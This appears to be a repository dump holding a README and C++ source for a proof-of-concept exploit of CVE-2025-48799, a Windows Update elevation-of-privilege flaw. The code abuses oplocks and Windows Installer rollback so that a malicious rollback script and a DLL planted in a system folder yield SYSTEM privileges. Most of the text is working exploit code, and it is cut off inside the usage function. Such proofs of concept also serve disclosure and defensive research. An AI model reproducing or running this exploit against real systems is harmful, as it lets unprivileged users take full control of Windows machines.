[
  {
    "path": "README.md",
    "content": "# Description\nThis is PoC for CVE-2025-48799, an elevation of privilege vulnerability in Windows Update service.\n\nThis vulnability affects windows clients (win11/win10) with at least 2 hard drives. When machine have multiple hard drives it is possible to change location where new content is saved using the Storage Sense. If location for new applications is changed to secondary drive, during the installation of new application the wuauserv service will perform arbitrary folder deletion without checking for symbolic links (if file is encountered the service will check final path using GetFinalPathByHandle) which leads to LPE.\n\nThis PoC utilise method (and some code) descibed in ZDI blog post: https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks\n\n## PoC\n\n\nhttps://github.com/user-attachments/assets/5e8b2a59-b787-4ba7-a6dc-1c71a9b3ba12\n\n"
  },
  {
    "path": "WinUpdateEoP/FileOplock.cpp",
    "content": "\r\n#include \"FileOpLock.h\"\r\n#include <threadpoolapiset.h>\r\n\r\n\r\n\r\nFileOpLock::FileOpLock(UserCallback cb) :\r\n\tg_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)\r\n{\r\n\tg_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\r\n\tg_inputBuffer.StructureLength = sizeof(g_inputBuffer);\r\n\tg_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;\r\n\tg_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;\r\n\tg_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\r\n\tg_outputBuffer.StructureLength = sizeof(g_outputBuffer);\r\n}\r\n\r\n\r\nFileOpLock::~FileOpLock()\r\n{\r\n\tif (g_wait)\r\n\t{\r\n\t\tSetThreadpoolWait(g_wait, nullptr, nullptr);\r\n\t\tCloseThreadpoolWait(g_wait);\r\n\t\tg_wait = nullptr;\r\n\t}\r\n\r\n\tif (g_o.hEvent)\r\n\t{\r\n\t\tCloseHandle(g_o.hEvent);\r\n\t\tg_o.hEvent = nullptr;\r\n\t}\r\n\r\n\tif (g_hFile != INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tCloseHandle(g_hFile);\r\n\t\tg_hFile = INVALID_HANDLE_VALUE;\r\n\t}\r\n}\r\nbool FileOpLock::BeginLock(const std::wstring& filename,bool exclusive)\r\n{\r\n\tg_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);\r\n\tg_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);\r\n\r\n\r\n\r\n\tg_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,\r\n\t\t0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0);\r\n\tif (g_hFile == INVALID_HANDLE_VALUE) {\r\n\r\n\t\treturn false;\r\n\t}\r\n\r\n\tg_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);\r\n\tif (g_wait == nullptr)\r\n\t{\r\n\r\n\t\treturn false;\r\n\t}\r\n\r\n\tSetThreadpoolWait(g_wait, g_o.hEvent, nullptr);\r\n\r\n\tDeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,\r\n\t\t&g_inputBuffer, sizeof(g_inputBuffer),\r\n\t\t&g_outputBuffer, sizeof(g_outputBuffer),\r\n\t\tnullptr, &g_o);\r\n\tif (GetLastError() != ERROR_IO_PENDING) {\r\n\r\n\t\treturn false;\r\n\t}\r\n\r\n\treturn true;\r\n}\r\nbool FileOpLock::BeginLock(HANDLE hfile,bool exclusive)\r\n{\r\n\tg_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);\r\n\tg_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);\r\n\r\n\r\n\r\n\tg_hFile = hfile;\r\n\tif (g_hFile == INVALID_HANDLE_VALUE) {\r\n\r\n\t\treturn false;\r\n\t}\r\n\r\n\tg_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);\r\n\tif (g_wait == nullptr)\r\n\t{\r\n\r\n\t\treturn false;\r\n\t}\r\n\r\n\tSetThreadpoolWait(g_wait, g_o.hEvent, nullptr);\r\n\tDWORD bytesReturned;\r\n\r\n\tif (exclusive)\r\n\t{\r\n\t\tDeviceIoControl(g_hFile,\r\n\t\t\tFSCTL_REQUEST_OPLOCK_LEVEL_1,\r\n\t\t\tNULL, 0,\r\n\t\t\tNULL, 0,\r\n\t\t\t&bytesReturned,\r\n\t\t\t&g_o);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tDeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,\r\n\t\t\t&g_inputBuffer, sizeof(g_inputBuffer),\r\n\t\t\t&g_outputBuffer, sizeof(g_outputBuffer),\r\n\t\t\tnullptr, &g_o);\r\n\t}\r\n\t\r\n\t\r\n\tif (GetLastError() != ERROR_IO_PENDING) {\r\n\r\n\t\treturn false;\r\n\t}\r\n\r\n\treturn true;\r\n}\r\nFileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb,bool exclusive)\r\n{\r\n\tFileOpLock* ret = new FileOpLock(cb);\r\n\r\n\tif (ret->BeginLock(name,exclusive))\r\n\t{\r\n\t\treturn ret;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tdelete ret;\r\n\t\treturn nullptr;\r\n\t}\r\n}\r\nFileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb, bool exclusive)\r\n{\r\n\tFileOpLock* ret = new FileOpLock(cb);\r\n\r\n\tif (ret->BeginLock(hfile,exclusive))\r\n\t{\r\n\t\treturn ret;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tdelete ret;\r\n\t\treturn nullptr;\r\n\t}\r\n}\r\nvoid FileOpLock::WaitForLock(UINT Timeout)\r\n{\r\n\tWaitForSingleObject(g_hLockCompleted, Timeout);\r\n}\r\n\r\nvoid FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,\r\n\tPVOID Parameter, PTP_WAIT Wait,\r\n\tTP_WAIT_RESULT WaitResult)\r\n{\r\n\tUNREFERENCED_PARAMETER(Instance);\r\n\tUNREFERENCED_PARAMETER(Wait);\r\n\tUNREFERENCED_PARAMETER(WaitResult);\r\n\r\n\tFileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);\r\n\r\n\tlock->DoWaitCallback();\r\n}\r\nvoid FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance,\r\n\tPVOID Parameter, PTP_WAIT Wait,\r\n\tTP_WAIT_RESULT WaitResult)\r\n{\r\n\tUNREFERENCED_PARAMETER(Instance);\r\n\tUNREFERENCED_PARAMETER(Wait);\r\n\tUNREFERENCED_PARAMETER(WaitResult);\r\n\r\n\tFileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);\r\n\r\n\tlock->DoWaitCallbackt();\r\n}\r\nvoid FileOpLock::DoWaitCallbackt()\r\n{\r\n\tDWORD dwBytes;\r\n\tif (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {\r\n\r\n\t}\r\n\r\n\tif (_cb)\r\n\t{\r\n\t\t_cb();\r\n\t}\r\n\tg_hFile = INVALID_HANDLE_VALUE;\r\n\tSetEvent(g_hLockCompleted);\r\n}\r\nvoid FileOpLock::DoWaitCallback()\r\n{\r\n\tDWORD dwBytes;\r\n\tif (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {\r\n\r\n\t}\r\n\r\n\tif (_cb)\r\n\t{\r\n\t\t_cb();\r\n\t}\r\n\r\n\r\n\tCloseHandle(g_hFile);\r\n\tg_hFile = INVALID_HANDLE_VALUE;\r\n\tSetEvent(g_hLockCompleted);\r\n}"
  },
  {
    "path": "WinUpdateEoP/FileOplock.h",
    "content": "#pragma once\r\n\r\n#include <Windows.h>\r\n#include <string>\r\n\r\nclass FileOpLock\r\n{\r\npublic:\r\n\ttypedef void(*UserCallback)();\r\n\tstatic FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb,bool exclusive);\r\n\tstatic FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb,bool exclusive);\r\n\tvoid WaitForLock(UINT Timeout);\r\n\r\n\t~FileOpLock();\r\nprivate:\r\n\r\n\tHANDLE g_hFile;\r\n\tOVERLAPPED g_o;\r\n\tREQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;\r\n\tREQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;\r\n\tHANDLE g_hLockCompleted;\r\n\tPTP_WAIT g_wait;\r\n\tUserCallback _cb;\r\n\r\n\tFileOpLock(UserCallback cb);\r\n\r\n\tstatic void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,\r\n\t\tPVOID Parameter, PTP_WAIT Wait,\r\n\t\tTP_WAIT_RESULT WaitResult);\r\n\tstatic void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance,\r\n\t\tPVOID Parameter, PTP_WAIT Wait,\r\n\t\tTP_WAIT_RESULT WaitResult);\r\n\tvoid DoWaitCallback();\r\n\tvoid DoWaitCallbackt();\r\n\tbool BeginLock(HANDLE hfile,bool exclusive);\r\n\tbool BeginLock(const std::wstring& name,bool exclusive);\r\n\r\n};\r\n\r\n"
  },
  {
    "path": "WinUpdateEoP/FileOrFolderDelete.cpp",
    "content": "// Exploit code to turn an arbitrary file/folder delete as SYSTEM into a SYSTEM EoP.\r\n// Based on a technique by Abdelhamid Naceri (halov).\r\n\r\n#include <Windows.h>\r\n#include <Shlwapi.h>\r\n#include <Msi.h>\r\n#include <PathCch.h>\r\n#include <shellapi.h>\r\n#include <iostream>\r\n#include \"resource.h\"\r\n#include <vector>\r\n#include <string>\r\n#pragma comment(lib, \"Msi.lib\")\r\n#pragma comment(lib, \"Shlwapi.lib\")\r\n#pragma comment(lib, \"PathCch.lib\")\r\nusing namespace std;\r\n\r\nconst wchar_t pathOfDllDrop[] = L\"C:\\\\Program Files\\\\Common Files\\\\microsoft shared\\\\ink\\\\HID.DLL\";\r\n\r\nbool stage2FilesystemChangeDetected;\r\n\r\nclass Resources\r\n{\r\npublic:\r\n\tstatic Resources& instance()\r\n\t{\r\n\t\tstatic Resources singleton;\r\n\t\treturn singleton;\r\n\t};\r\n\tconst std::vector<BYTE>& msi() { return m_msi; };\r\n\tconst std::vector<BYTE>& fakeRbs() { return m_fakeRbs; };\r\n\tconst std::vector<BYTE>& fakeRbf() { return m_fakeRbf; };\r\nprivate:\r\n\tResources()\r\n\t{\r\n\t\tm_hModule = GetModuleHandle(NULL);\r\n\t\tinitFromResource(m_msi, MAKEINTRESOURCE(IDR_MSI1), L\"msi\");\r\n\t\tinitFromResource(m_fakeRbs, MAKEINTRESOURCE(IDR_RBS1), L\"rbs\");\r\n\t\tinitFromResource(m_fakeRbf, MAKEINTRESOURCE(IDR_RBF1), L\"rbf\");\r\n\t};\r\n\tvoid initFromResource(std::vector<BYTE>& vec, LPCWSTR lpResourceName, LPCWSTR lpResourceType)\r\n\t{\r\n\t\tHRSRC hRsrc = FindResource(m_hModule, lpResourceName, lpResourceType);\r\n\t\tDWORD resSize = SizeofResource(m_hModule, hRsrc);\r\n\t\tvec.reserve(resSize);\r\n\t\tHGLOBAL hRes = LoadResource(m_hModule, hRsrc);\r\n\t\tBYTE* resData = (BYTE*)LockResource(hRes);\r\n\t\tvec.assign(resData, resData + resSize);\r\n\r\n\t};\r\n\tHMODULE m_hModule;\r\n\tstd::vector<BYTE> m_msi;\r\n\tstd::vector<BYTE> m_fakeRbs;\r\n\tstd::vector<BYTE> m_fakeRbf;\r\n};\r\n\r\n\r\nbool bitnessCheck()\r\n{\r\n\tauto fakeRbf = Resources::instance().fakeRbf().data();\r\n\tint dllBitness =\r\n\t\t*(unsigned __int16*)(fakeRbf + *(__int32*)(fakeRbf + 0x3c) + 4)\r\n\t\t== 0x8664 ? 64 : 32;\r\n\r\n\tSYSTEM_INFO systemInfo;\r\n\tGetNativeSystemInfo(&systemInfo);\r\n\tint systemBitness = systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? 64 : 32;\r\n\r\n\treturn dllBitness == systemBitness;\r\n}\r\n\r\nstd::wstring uniqueString()\r\n{\r\n\tUUID u;\r\n\tUuidCreate(&u);\r\n\r\n\tRPC_WSTR su;\r\n\tUuidToString(&u, &su);\r\n\r\n\tstd::wstring result((PCWSTR)su);\r\n\r\n\tRpcStringFree(&su);\r\n\r\n\treturn result;\r\n}\r\n\r\nstd::wstring createUniqueTempFolder()\r\n{\r\n\tWCHAR tempFolder[MAX_PATH + 1];\r\n\tGetEnvironmentVariable(L\"TEMP\", tempFolder, _countof(tempFolder));\r\n\r\n\tWCHAR result[MAX_PATH + 1];\r\n\tPathCchCombine(result, _countof(result), tempFolder, uniqueString().c_str());\r\n\r\n\tCreateDirectory(result, NULL);\r\n\r\n\treturn result;\r\n}\r\n\r\nclass TempMsi\r\n{\r\npublic:\r\n\tTempMsi()\r\n\t{\r\n\t\tauto msi = Resources::instance().msi();\r\n\t\ttempMsiPath = L\"C:\\\\Windows\\\\Temp\\\\\" + uniqueString();\r\n\t\tHANDLE hMsi = CreateFile(\r\n\t\t\ttempMsiPath.c_str(),\r\n\t\t\tGENERIC_WRITE, 0, NULL, CREATE_ALWAYS,\r\n\t\t\t0, NULL);\r\n\t\tDWORD dwNumberOfBytesWritten;\r\n\t\tWriteFile(hMsi, msi.data(), msi.size(), &dwNumberOfBytesWritten, NULL);\r\n\t\tCloseHandle(hMsi);\r\n\t}\r\n\tTempMsi(TempMsi&) = delete;\r\n\tTempMsi& operator =(TempMsi&) = delete;\r\n\t~TempMsi()\r\n\t{\r\n\t\tDeleteFile(tempMsiPath.c_str());\r\n\t}\r\n\tstd::wstring GetTempMsiPath() { return tempMsiPath; }\r\nprivate:\r\n\tstd::wstring tempMsiPath;\r\n};\r\n\r\nbool get_configMsiExists()\r\n{\r\n\treturn GetFileAttributes(L\"C:\\\\Config.Msi\") != INVALID_FILE_ATTRIBUTES;\r\n}\r\n\r\nbool get_configMsiIsRegistered()\r\n{\r\n\tbool configMsiRegistered = false;\r\n\tHKEY hkeyInstallerFolders;\r\n\tif (RegOpenKeyEx(\r\n\t\tHKEY_LOCAL_MACHINE,\r\n\t\tL\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Installer\\\\Folders\",\r\n\t\t0,\r\n\t\tKEY_QUERY_VALUE,\r\n\t\t&hkeyInstallerFolders) == ERROR_SUCCESS)\r\n\t{\r\n\t\tif (\r\n\t\t\tRegQueryValueEx(hkeyInstallerFolders, L\"C:\\\\Config.Msi\\\\\", NULL, NULL, NULL, NULL)\r\n\t\t\t== ERROR_SUCCESS\r\n\t\t\t||\r\n\t\t\tRegQueryValueEx(hkeyInstallerFolders, L\"C:\\\\Config.Msi\", NULL, NULL, NULL, NULL)\r\n\t\t\t== ERROR_SUCCESS)\r\n\t\t{\r\n\t\t\tconfigMsiRegistered = true;\r\n\t\t}\r\n\t\tRegCloseKey(hkeyInstallerFolders);\r\n\t}\r\n\r\n\treturn configMsiRegistered;\r\n}\r\n\r\nbool tryDeleteConfigMsi()\r\n{\r\n\tSHFILEOPSTRUCT fileOp;\r\n\tfileOp.hwnd = NULL;\r\n\tfileOp.wFunc = FO_DELETE;\r\n\tfileOp.pFrom = L\"C:\\\\Config.Msi\\0\";\r\n\tfileOp.pTo = NULL;\r\n\tfileOp.fFlags = FOF_NO_UI;\r\n\r\n\tif (SHFileOperation(&fileOp) == 0\r\n\t\t&& !fileOp.fAnyOperationsAborted)\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn false;\r\n\t}\r\n}\r\n\r\nvoid spinUntilConfigMsiDeleted()\r\n{\r\n\twhile (GetFileAttributes(L\"C:\\\\Config.Msi\") != INVALID_FILE_ATTRIBUTES)\r\n\t{\r\n\t\tSleep(200);\r\n\t}\r\n}\r\n\r\nvoid install(const std::wstring& installPath) {\r\n\tTempMsi tempMsi;\r\n\tMsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);\r\n\tMsiInstallProduct(\r\n\t\ttempMsi.GetTempMsiPath().c_str(),\r\n\t\t(L\"ACTION=INSTALL TARGETDIR=\" + installPath).c_str());\r\n}\r\n\r\nvoid installWithRollback(const std::wstring& installPath) {\r\n\tCreateDirectory(installPath.c_str(), NULL);\r\n\tTempMsi tempMsi;\r\n\tMsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);\r\n\tMsiInstallProduct(\r\n\t\ttempMsi.GetTempMsiPath().c_str(),\r\n\t\t(L\"ACTION=INSTALL ERROROUT=1 TARGETDIR=\" + installPath).c_str());\r\n}\r\n\r\nvoid uninstall() {\r\n\tTempMsi tempMsi;\r\n\tMsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);\r\n\tMsiInstallProduct(\r\n\t\ttempMsi.GetTempMsiPath().c_str(),\r\n\t\tL\"REMOVE=ALL\");\r\n}\r\n\r\nDWORD WINAPI thread_uninstall(PVOID)\r\n{\r\n\tuninstall();\r\n\treturn 0;\r\n}\r\n\r\nDWORD WINAPI thread_installWithRollback(PVOID installPath)\r\n{\r\n\t// Loop until we verify that stage2() is monitoring filesystem changes\r\n\tdo\r\n\t{\r\n\t\tHANDLE hFileToBeDetected = CreateFile(\r\n\t\t\t(L\"C:\\\\Config.Msi\\\\\" + uniqueString()).c_str(),\r\n\t\t\tGENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL);\r\n\t\tCloseHandle(hFileToBeDetected);\r\n\t\tSleep(100);\r\n\t} while (!stage2FilesystemChangeDetected);\r\n\r\n\tinstallWithRollback((const wchar_t*)installPath);\r\n\treturn 0;\r\n}\r\n\r\nvoid stage1()\r\n{\r\n\tprintf(\"[*] Stage 1 starting.\\n\");\r\n\t// Start with an uninstall, just in case Msi_EoP is already in an installed state\r\n\tuninstall();\r\n\r\n\t// Install Msi_EoP\r\n\tauto installPath = createUniqueTempFolder();\r\n\tinstall(installPath.c_str());\r\n\r\n\t// Get a handle to the installed file dummy.txt\r\n\tauto dummyFilePath = installPath + L\"\\\\dummy.txt\";\r\n\tHANDLE hFileDummy = CreateFile(\r\n\t\tdummyFilePath.c_str(),\r\n\t\tFILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING,\r\n\t\t0, NULL);\r\n\tif (!hFileDummy)\r\n\t{\r\n\t\tstd::wcout << L\"[-] \" << std::wstring(dummyFilePath) << L\" didn't install, exiting\" << std::endl;\r\n\t\texit(1);\r\n\t}\r\n\r\n\t// Create events for synchronization with the uninstall process.\r\n\t// The uninstall process will move dummy.txt to an .rbf file within C:\\Config.Msi.\r\n\t// After this occurs, a custom action in the uninstaller will set event FolderOrFileDeleteToSystem_RbfFullyWritten,\r\n\t// and wait for event FolderOrFileDeleteToSystem_ReadyForAttemptedDelete before proceeding.\r\n\tHANDLE hEvent_RbfFullyWritten = CreateEvent(NULL, FALSE, FALSE, L\"FolderOrFileDeleteToSystem_RbfFullyWritten\");\r\n\tResetEvent(hEvent_RbfFullyWritten);\r\n\tHANDLE hEvent_ReadyForAttemptedDelete = CreateEvent(NULL, FALSE, FALSE, L\"FolderOrFileDeleteToSystem_ReadyForAttemptedDelete\");\r\n\tResetEvent(hEvent_ReadyForAttemptedDelete);\r\n\r\n\t// Start the uninstall, to execute in parallel with this thread\r\n\tHANDLE hUninstallThread = CreateThread(NULL, NULL, thread_uninstall, NULL, NULL, NULL);\r\n\r\n\t// Poll the file name referenced by handle hFileDummy. Once the uninstaller has moved dummy.txt,\r\n\t// the reported filename will change, and we will learn the name of the .rbf file within C:\\Config.Msi.\r\n\tWCHAR updatedFilePath[MAX_PATH + 1];\r\n\tfor (;;)\r\n\t{\r\n\t\tDWORD len = GetFinalPathNameByHandle(\r\n\t\t\thFileDummy,\r\n\t\t\tupdatedFilePath,\r\n\t\t\t_countof(updatedFilePath),\r\n\t\t\tFILE_NAME_NORMALIZED | VOLUME_NAME_DOS);\r\n\t\tconst WCHAR configMsiPrefix[] = L\"\\\\\\\\?\\\\C:\\\\Config.Msi\\\\\";\r\n\t\tconstexpr size_t configMsiPrefixLen = _countof(configMsiPrefix) - 1;\r\n\t\tif (len >= configMsiPrefixLen && !_wcsnicmp(updatedFilePath, configMsiPrefix, configMsiPrefixLen))\r\n\t\t{\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tSleep(100);\r\n\t}\r\n\tCloseHandle(hFileDummy);\r\n\r\n\t// Wait for the uninstaller to finish most operations on the .rbf\r\n\tif (WaitForSingleObject(hEvent_RbfFullyWritten, INFINITE) == 30000)\r\n\t{\r\n\t\tstd::cout << \"[-] FAILED: Timeout waiting for uninstall to set event FolderOrFileDeleteToSystem_RbfFullyWritten.\" << std::endl;\r\n\t\tSetEvent(hEvent_ReadyForAttemptedDelete);\r\n\t\texit(1);\r\n\t}\r\n\t// At this time, the uninstaller is paused, waiting for event FolderOrFileDeleteToSystem_ReadyForAttemptedDelete\r\n\r\n\t// Open a new handle to the .rbf, preventing deletion of the .rbf (and, consequently, the C:\\Config.Msi folder),\r\n\t// by causing a sharing violation (no FILE_SHARE_DELETE allowed). We are allowed to open this handle, because\r\n\t// the .rbf file is just the original dummy.txt file moved to a new location.\r\n\tHANDLE hFileRbf = CreateFile(\r\n\t\t&updatedFilePath[4],\r\n\t\tGENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,\r\n\t\t0, NULL);\r\n\r\n\t// Allow the uninstaller to run to completion\r\n\tSetEvent(hEvent_ReadyForAttemptedDelete);\r\n\tCloseHandle(hEvent_RbfFullyWritten);\r\n\tCloseHandle(hEvent_ReadyForAttemptedDelete);\r\n\tif (WaitForSingleObject(hUninstallThread, 120000) == WAIT_TIMEOUT)\r\n\t{\r\n\t\tstd::cout << \"[-] FAILED: Timeout waiting for uninstall to complete.\" << std::endl;\r\n\t\texit(1);\r\n\t}\r\n\r\n\t// Finally, delete the .rbf, so that C:\\Config.Msi will be left as an empty folder,\r\n\t// in preparation for triggering the aribitrary folder/file delete.\r\n\tFILE_DISPOSITION_INFO fdi;\r\n\tfdi.DeleteFileW = TRUE;\r\n\tSetFileInformationByHandle(hFileRbf, FileDispositionInfo, &fdi, sizeof(fdi));\r\n\tCloseHandle(hFileRbf);\r\n\tprintf(\"[+] Stage one completed.\\n\");\r\n}\r\n\r\nvoid stage2()\r\n{\r\n\t// Create a SECURITY_ATTRIBUTES structure with a NULL DACL\r\n\tprintf(\"[*] Stage 2 starting.\\n\");\r\n\tHMODULE ntdll = GetModuleHandle(L\"ntdll.dll\");\r\n\tauto NtSetSecurityObject = (NTSTATUS(WINAPI*)(\r\n\t\tHANDLE               Handle,\r\n\t\tSECURITY_INFORMATION SecurityInformation,\r\n\t\tPSECURITY_DESCRIPTOR SecurityDescriptor\r\n\t\t))GetProcAddress(ntdll, \"NtSetSecurityObject\");\r\n\r\n\tSECURITY_DESCRIPTOR sd;\r\n\tInitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);\r\n\tSetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);\r\n\r\n\tSECURITY_ATTRIBUTES sa;\r\n\tsa.nLength = sizeof(SECURITY_ATTRIBUTES);\r\n\tsa.lpSecurityDescriptor = &sd;\r\n\tsa.bInheritHandle = FALSE;\r\n\r\n\t// Create C:\\Config.Msi with a NULL DACL and obtain a handle\r\n\tCreateDirectory(L\"C:\\\\Config.Msi\", &sa);\r\n\tHANDLE hConfigMsi = CreateFile(\r\n\t\tL\"C:\\\\Config.Msi\",\r\n\t\tGENERIC_READ | READ_CONTROL | WRITE_DAC | FILE_DELETE_CHILD,\r\n\t\tFILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\r\n\t\tNULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);\r\n\r\n\t// Create a buffer for directory change notifications\r\n\tconst size_t fileNotifyBufferLen = 0x100000;\r\n\tBYTE* fileNotifyBuffer = (BYTE*)malloc(fileNotifyBufferLen);\r\n\r\n\t// Create events for synchronization with the install process.\r\n\t// During installation, the install process will create a .rbs (rollback script) file within C:\\Config.Msi.\r\n\t// After this occurs, a custom action in the installer will set event FolderOrFileDeleteToSystem_RbsFullyWritten.\r\n\t// Then, it will wait for event FolderOrFileDeleteToSystem_ReadyForRollback before rolling back.\r\n\tHANDLE hEvent_RbsFullyWritten = CreateEvent(NULL, FALSE, FALSE, L\"FolderOrFileDeleteToSystem_RbsFullyWritten\");\r\n\tResetEvent(hEvent_RbsFullyWritten);\r\n\tHANDLE hEvent_ReadyForRollback = CreateEvent(NULL, FALSE, FALSE, L\"FolderOrFileDeleteToSystem_ReadyForRollback\");\r\n\tResetEvent(hEvent_ReadyForRollback);\r\n\r\n\t// This global flag will allow thread_installWithRollback to know that this thread has begun\r\n\t// monitoring file system changes.\r\n\tstage2FilesystemChangeDetected = false;\r\n\r\n\t// Start an install that will error out and roll back, running in parallel with this thread.\r\n\tauto installPath = createUniqueTempFolder();\r\n\tHANDLE hInstallThread = CreateThread(NULL, NULL, thread_installWithRollback, (PVOID)installPath.c_str(), NULL, NULL);\r\n\r\n\t// Watch for filesystem changes within C:\\Config.Msi to find the filename of the new .rbs file\r\n\tstd::wstring rbsFileName;\r\n\tdo {\r\n\t\tDWORD dwBytesReturned;\r\n\t\tif (!ReadDirectoryChangesW(\r\n\t\t\thConfigMsi,\r\n\t\t\tfileNotifyBuffer,\r\n\t\t\tfileNotifyBufferLen,\r\n\t\t\tFALSE,\r\n\t\t\tFILE_NOTIFY_CHANGE_FILE_NAME,\r\n\t\t\t&dwBytesReturned, NULL, NULL))\r\n\t\t{\r\n\t\t\tstd::wcout << L\"[-] FAILED: Failed to detect creation of an .rbs file.\" << std::endl;\r\n\t\t\texit(1);\r\n\t\t}\r\n\t\tstage2FilesystemChangeDetected = true;\r\n\t\tBYTE* fileNotifyInfoBytePtr = fileNotifyBuffer;\r\n\t\tfor (;;)\r\n\t\t{\r\n\t\t\tFILE_NOTIFY_INFORMATION* fileNotifyInfo = (FILE_NOTIFY_INFORMATION*)fileNotifyInfoBytePtr;\r\n\t\t\tif (fileNotifyInfo->Action == FILE_ACTION_ADDED &&\r\n\t\t\t\tfileNotifyInfo->FileNameLength / 2 >= 4 &&\r\n\t\t\t\t!_wcsnicmp(\r\n\t\t\t\t\t&fileNotifyInfo->FileName[fileNotifyInfo->FileNameLength / 2 - 4],\r\n\t\t\t\t\tL\".rbs\",\r\n\t\t\t\t\t4))\r\n\t\t\t{\r\n\t\t\t\trbsFileName = L\"C:\\\\Config.Msi\\\\\";\r\n\t\t\t\trbsFileName.append(fileNotifyInfo->FileName, fileNotifyInfo->FileNameLength / 2);\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse if (!fileNotifyInfo->NextEntryOffset)\r\n\t\t\t{\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tfileNotifyInfoBytePtr += fileNotifyInfo->NextEntryOffset;\r\n\t\t\t}\r\n\t\t}\r\n\t} while (!rbsFileName.length());\r\n\r\n\t// Wait for the installer to finish writing the .rbs file\r\n\tif (WaitForSingleObject(hEvent_RbsFullyWritten, 120000) == WAIT_TIMEOUT)\r\n\t{\r\n\t\tstd::cout << \"[-] FAILED: Timeout waiting for FolderOrFileDeleteToSystem_RbsFullyWritten event.\" << std::endl;\r\n\t\texit(1);\r\n\t}\r\n\t// At this point, the installer is paused, waiting for FolderOrFileDeleteToSystem_ReadyForRollback\r\n\r\n\t// Reapply the NULL DACL to C:\\Config.Msi, becuase by now the installer has set its own DACL.\r\n\t// Note, we're able to do this because when we originally opened the handle hConfigMsi, we\r\n\t// requested the WRITE_DAC permission, and we were granted it then because at that time\r\n\t// C:\\Config.Msi still had a permissive DACL.\r\n\tNtSetSecurityObject(hConfigMsi, DACL_SECURITY_INFORMATION, &sd);\r\n\r\n\t// Delete the legitimate .rbs\r\n\tif (!DeleteFile(rbsFileName.c_str()))\r\n\t{\r\n\t\tstd::cout << \"[-] Failed to delete .rbs file. Error: 0x\"\r\n\t\t\t<< std::hex << GetLastError() << std::dec << std::endl;\r\n\t\texit(1);\r\n\t}\r\n\r\n\t// Drop a malicious .rbs that references a malicious .rbf\r\n\tHANDLE hRbs = CreateFile(\r\n\t\trbsFileName.c_str(),\r\n\t\tGENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS,\r\n\t\t0, NULL);\r\n\tauto fakeRbs = Resources::instance().fakeRbs();\r\n\tDWORD dwNumberOfBytesWritten;\r\n\tWriteFile(hRbs, fakeRbs.data(), fakeRbs.size(), &dwNumberOfBytesWritten, NULL);\r\n\tCloseHandle(hRbs);\r\n\r\n\t\r\n\r\n\t// Allow rollback to continue, consuming the malicious .rbs and .rbf\r\n\tSetEvent(hEvent_ReadyForRollback);\r\n\tCloseHandle(hEvent_RbsFullyWritten);\r\n\tCloseHandle(hEvent_ReadyForRollback);\r\n\tCloseHandle(hConfigMsi);\r\n\tprintf(\"[+] Stage 2 completed.\\n\");\r\n\t\r\n}\r\n\r\nvoid usage()\r\n{\r\n\tstd::cerr << \"Usage:\" << 